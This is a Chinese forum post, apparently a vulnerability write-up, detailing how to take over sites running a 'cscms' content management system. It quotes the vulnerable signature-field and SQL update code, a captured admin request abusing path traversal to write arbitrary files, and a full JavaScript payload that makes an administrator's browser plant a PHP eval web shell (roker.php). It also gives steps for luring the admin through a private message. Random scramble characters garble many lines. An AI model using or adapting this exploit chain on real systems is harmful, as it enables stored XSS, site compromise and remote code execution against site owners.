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这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题1 g+ Y* |, \0 q3 F% k: _
官网已经修补了,所以重新下了源码' m- M7 J( |6 h9 G% P/ f, M
因为 后台登入 还需要认证码 所以 注入就没看了。2 k8 G+ A F0 r1 h
存在 xss% X9 {. F4 J' _7 g1 J
漏洞文件 user/member/skin_edit.php
' e% a1 c; `2 j" A7 }% N本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
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</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?> R+ A- H- O. t" F
' e y) w+ {& \2 o+ y' t</textarea></td></tr>
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2 n$ [% k; D8 F/ F3 f: S user/do.php : r. j7 Q6 ?4 i$ ]& e9 L
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' D( T' @7 p+ K' G3 d3 |if($op=='zl'){ //资料/ Z& n. a2 v! y
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if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) 8 C$ T7 w; e( ^- V3 z3 h1 i- j: R, ]
exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));8 p3 S+ `0 a% K4 ?. j' ]& ?
: {& t9 b- a. I7 b. [# w/ ?8 L $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',. S& X! q) _+ a# l: g# ^8 h. T
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CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'3 p, q; M u: N& M
where CS_Name='".$cscms_name."'";6 \( e# h. D; C: C. r
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if($db->query($sql)){: }$ G1 Z7 a( k- b$ C5 R
- a M N. U( x9 a exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));. Z5 R/ s" g4 O d
, \6 B( |& `. K9 X }else{
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exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
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}
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没有 过滤导致xss产生。* j) ?+ ~( d2 h: p6 J' k1 s7 z
后台 看了下 很奇葩的是可以写任意格式文件。。8 C3 ^1 u8 \8 d
抓包。。
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本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.14 ?* V* T9 \2 e" ^
5 V P5 Y. h. @: u( ?Accept: text/html, application/xhtml+xml, */*: O- |) ^; o& {% B$ x9 O- H- v
" L4 H$ l; t$ f3 S4 h0 YReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
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Accept-Language: zh-CN) U9 z( L" Y( c$ c2 w
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User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
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Content-Type: application/x-www-form-urlencoded
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Accept-Encoding: gzip, deflate
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Host: 127.0.0.1
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Content-Length: 38! i1 T, q0 S) y2 Q6 V. y! z y) j
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DNT: 1
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6 |6 B( o. v* i4 G( EConnection: Keep-Alive
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! a6 F: [5 d9 s8 ^: m: X0 TCache-Control: no-cache) r! `% v7 z0 R$ r, p
8 o+ n0 y; x. b( uCookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594) l y2 T/ w0 `; Z
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2 F* Q. X5 O0 I, t6 uname=aaa.php&content=%3Cs%3E%3Ca%25%3E' e) O: a2 N1 ^
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, Y* w; t# ]( c于是 构造js如下。
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本帖隐藏的内容<script>
1 p( M# Q- r T/ t( @- JthisTHost = top.location.hostname;( R h. c* p- a8 T9 T! i0 b& [) x4 y
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thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";4 u: Q4 p3 v* Y( D
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function PostSubmit(url, data, msg) { ! F0 a: L' V4 g- s2 s* m
var postUrl = url;
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var postData = data;
: m# o2 q$ {! l- m4 T+ H; ~% E) W var msgData = msg; ( x: L( e! ^' q0 l0 W1 j
var ExportForm = document.createElement("FORM");
2 ^8 Q4 v# o2 q' Z& v- {1 z" A7 U document.body.appendChild(ExportForm);
3 c' \0 O; r$ C, O! Y ExportForm.method = "POST"; 4 U7 S) K3 y+ f
var newElement = document.createElement("input");
6 O+ a, f! H6 z8 ~; M# W% ]" _ newElement.setAttribute("name", "name");
# ]' k" \, e6 ?+ S- ^ newElement.setAttribute("type", "hidden"); % o# j+ j. Z1 \4 O
var newElement2 = document.createElement("input"); ( }, B: \6 B0 i
newElement2.setAttribute("name", "content");
* W& }1 M1 E9 _, Q: j( e2 l. b newElement2.setAttribute("type", "hidden"); 7 S; @# O( W1 `. \7 ~# ]
ExportForm.appendChild(newElement);
3 r: s4 \0 ?5 f) d* w% U# ] ExportForm.appendChild(newElement2); $ I0 @8 T# E( @& h
newElement.value = postData;
; a6 }0 J" V: C: j& x4 B" h/ X newElement2.value = msgData; ; {* x3 e* ^3 B1 {2 F. Q
ExportForm.action = postUrl;
3 T0 o1 @! g; N I U ExportForm.submit(); % p7 S' m2 l6 Z5 w0 r- L+ q, O
};, B5 f$ D1 D1 w; H( ]5 y
2 d- Z1 \/ q6 r# Z0 {/ aPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
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</script>1 I1 T- O; @4 R; Q& T& J! q
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+ q0 R8 {: T j: r7 jhttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入" e/ j6 K# \+ c& I) B
用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)) q( g A5 i3 o6 \0 {" S
就会 在 skins\index\html\目录下生成 roker.php 一句话。 | { {; q9 Y8 U; T& s1 M
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